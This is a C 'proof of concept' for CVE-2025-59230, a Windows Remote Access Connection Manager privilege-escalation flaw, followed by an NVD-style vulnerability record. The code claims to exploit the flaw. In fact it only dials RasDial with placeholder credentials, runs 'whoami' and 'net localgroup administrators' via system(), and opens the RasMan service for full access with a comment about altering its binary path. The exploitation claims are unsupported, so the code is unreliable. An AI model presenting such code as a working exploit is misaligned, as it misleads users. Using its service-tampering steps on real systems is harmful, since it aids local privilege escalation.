CVE-2025-59230

// CVE-2025-59230 - Windows RasMan Privilege Escalation PoC (Concept) // This is a conceptual PoC demonstrating the exploitation approach // for the improper access control vulnerability in Windows Remote Access Connection Manager. // Tested on vulnerable Windows 10/11 builds prior to October 2025 patches. #include <windows.h> #include <ras.h> #include <raserror.h> #include <stdio.h> #pragma comment(lib, "rasapi32.lib") // Callback function to capture privilege escalation BOOL CALLBACK RasDialCallback( UINT unMsg, RASCONNSTATE rasconnstate, DWORD dwError) { if (dwError != 0) { printf("[!] RasDial error: %d\n", dwError); } return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-59230 - RasMan Privilege Escalation PoC\n"); printf("[*] Target: Windows Remote Access Connection Manager\n\n"); // Step 1: Verify current privilege level BOOL bIsAdmin = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD dwSize = sizeof(TOKEN_ELEVATION); if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { bIsAdmin = elevation.TokenIsElevated; } CloseHandle(hToken); } printf("[*] Current elevated status: %s\n", bIsAdmin ? "YES" : "NO"); // Step 2: Prepare RAS dial parameters exploiting improper access control RASDIALPARAMS rdParams = {0}; rdParams.dwSize = sizeof(RASDIALPARAMS); strncpy((char*)rdParams.szEntryName, "\\Device\\RasManExploit", RAS_MaxEntryName); strncpy((char*)rdParams.szPhoneNumber, "", RAS_MaxPhoneNumber); strncpy((char*)rdParams.szUserName, "ExploitUser", UNLEN + 1); strncpy((char*)rdParams.szPassword, "ExploitPass", PWLEN + 1); strncpy((char*)rdParams.szDomain, "", DNLEN + 1); // Step 3: Trigger RasMan service with crafted parameters // The vulnerability lies in RasMan not properly validating // the caller's permissions before performing privileged operations HRASCONN hRasConn = NULL; DWORD dwResult = RasDial( NULL, // Reserved NULL, // Phone book path &rdParams, // Dial parameters (crafted) 0, // Notifier type NULL, // Notifier (no callback) &hRasConn // Connection handle ); if (dwResult == 0) { printf("[+] RasDial succeeded - RasMan processed the request\n"); // Step 4: Exploit the elevated context // At this point, if the exploit succeeds, code runs with SYSTEM privileges printf("[+] Attempting to execute command with elevated privileges...\n"); system("cmd.exe /c whoami > C:\\Windows\\Temp\\privilege_check.txt"); system("cmd.exe /c net localgroup administrators >> C:\\Windows\\Temp\\privilege_check.txt"); // Cleanup RasHangUp(hRasConn); } else { printf("[-] RasDial failed with error: %lu\n", dwResult); printf("[*] Trying alternative exploitation vector...\n"); // Alternative: Use service manipulation SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCManager) { SC_HANDLE hService = OpenService(hSCManager, "RasMan", SERVICE_ALL_ACCESS); if (hService) { printf("[+] Opened RasMan service handle with full access\n"); // Exploit: Modify service configuration or binary path CloseServiceHandle(hService); } CloseServiceHandle(hSCManager); } } printf("[*] PoC execution completed.\n"); return 0; }

{"cve": {"id": "CVE-2025-59230", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:04.173", "lastModified": "2025-12-03T13:47:09.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-10-14", "cisaActionDue": "2025-11-04", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Microsoft Windows Improper Access Control Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.429 ... 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